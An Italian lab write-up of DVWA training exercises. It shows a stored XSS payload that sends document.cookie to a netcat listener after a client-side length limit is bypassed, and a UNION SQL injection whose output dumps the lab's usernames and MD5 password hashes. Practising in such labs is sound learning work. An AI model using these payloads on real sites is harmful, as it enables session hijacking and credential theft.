

Per prima cosa andiamo a testare il codice sulla xss reflected.



`cookie="+document.cookie;</script>"` andiamo nella sezione del xss stored.

Una volta nella sezione individuiamo che la quantità massima di caratteri che si possono immettere è inferiore a quella richiesta per lo script, perciò andiamo a modificare la quantità massima di caratteri inseribili nel front end e individuiamo che il sito non fa controlli di back end.

Damn Vulnerable Web App x

192.168.50.101/dvwa/vulnerabilities/xss_s/

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

DVWA

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Vulnerability: Stored Cross Site Scripting (XSS)

Name *

Message *

Sign Guestbook

Name: test

Message: This is a test comment.

Name: ciao

Message:

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <body class="home">
      <div id="container">
        <div id="header">
        <div id="main_menu">
        <div id="main_body">
          <div class="body_padded">
            <h1>Vulnerability: Stored Cross Site Scripting (XSS)</h1>
            <div class="vulnerable_code_area">
              <form method="post" name="guestform" onsubmit="return
validate_form(this)">
                <table width="550" cellspacing="1" cellpadding="2"
border="0">
                  <tbody>
                    <tr>
                      <td>
                        <tr>
                          <td width="100">Message *</td>
                        <td>
                          <textarea name="mtxMessage" cols="50" rows="3"
maxlength="50">
                        </td>
                      </tr>
                    </tbody>
                  </table>
                </form>
              </div>
            <div id="guestbook_comments">
          </div>
        </div>
      </div>
    </body>
  </html>
```

Read 192.168.50.101

Qui andiamo a modificare la quantità massima di caratteri da 50 a 100 e andiamo a inserire lo script.

Damn Vulnerable Web Ap x

192.168.50.101/dvwa/vulnerabilities/xss_s/

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

DVWA

Vulnerability: Stored Cross Site Scripting (XSS)

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

Name *

Message *

Name: test
Message: This is a test comment.

More info

<http://hackers.org/xss.html>
http://en.wikipedia.org/wiki/Cross-site_scripting
<http://www.cgisecurity.com/xss-faq.html>

Username: admin
Security Level: low
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

Una volta inserito lo script attiviamo netcat e andiamo a vedere i risultati ricaricando la pagina.

The screenshot shows a Kali Linux desktop environment. In the foreground, a web browser window is open at the URL `192.168.50.101/dvwa/vulnerabilities/xss_s/`. The browser's address bar and tabs are visible. The DVWA (Damn Vulnerable Web Application) interface is displayed, featuring a sidebar with navigation links: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, SQL Injection (Blind), Upload, XSS reflected, XSS stored (highlighted in green), DVWA Security, PHP Info, About, and Logout. The main content area is titled "Vulnerability: Stored Cross Site Scripting (XSS)" and contains a form with fields for "Name *" and "Message *", and a "Sign Guestbook" button. Below the form, there are two example entries: "Name: test" with "Message: This is a test comment." and "Name: ciao" with "Message:". In the bottom right corner, a terminal window is open, showing a netcat listener on port 12345. It has received a connection from 192.168.50.100, displaying the full HTTP request details, including the GET method, cookies, user-agent, and headers.

192.168.50.100

Per l'sqli blind invece, andiamo a caricare la pagina corrispondente e gli chiediamo una ricerca “' UNION SELECT user,password from users # “ (il primo apice serve per interrompere il valore di ricerca della sql e andiamo a inserire il resto del codice per definire quello che deve eseguire, finiamo con il # per commentare tutto il resto del codice) e otteniamo:

Damn Vulnerable Web App x

192.168.50.101/dvwa/vulnerabilities/sqli_blind/?id='+UNION+SELECT+user%2Cpas

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

DVWA

Vulnerability: SQL Injection (Blind)

Home
Instructions
Setup

Brute Force
Command Execution
CSRF
File Inclusion
SQL Injection
SQL Injection (Blind)
Upload
XSS reflected
XSS stored

DVWA Security
PHP Info
About
Logout

User ID:

ID: ' UNION SELECT user,password from users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION SELECT user,password from users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION SELECT user,password from users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION SELECT user,password from users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION SELECT user,password from users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

View Source View Help

Username: admin
Security Level: low
PHPIDS: disabled

Damn Vulnerable Web Application (DVWA) v1.0.7

in questo modo andiamo a ottenere tutte le password(cifrate) con i relativi nomi utenti presenti sul db di dvwa.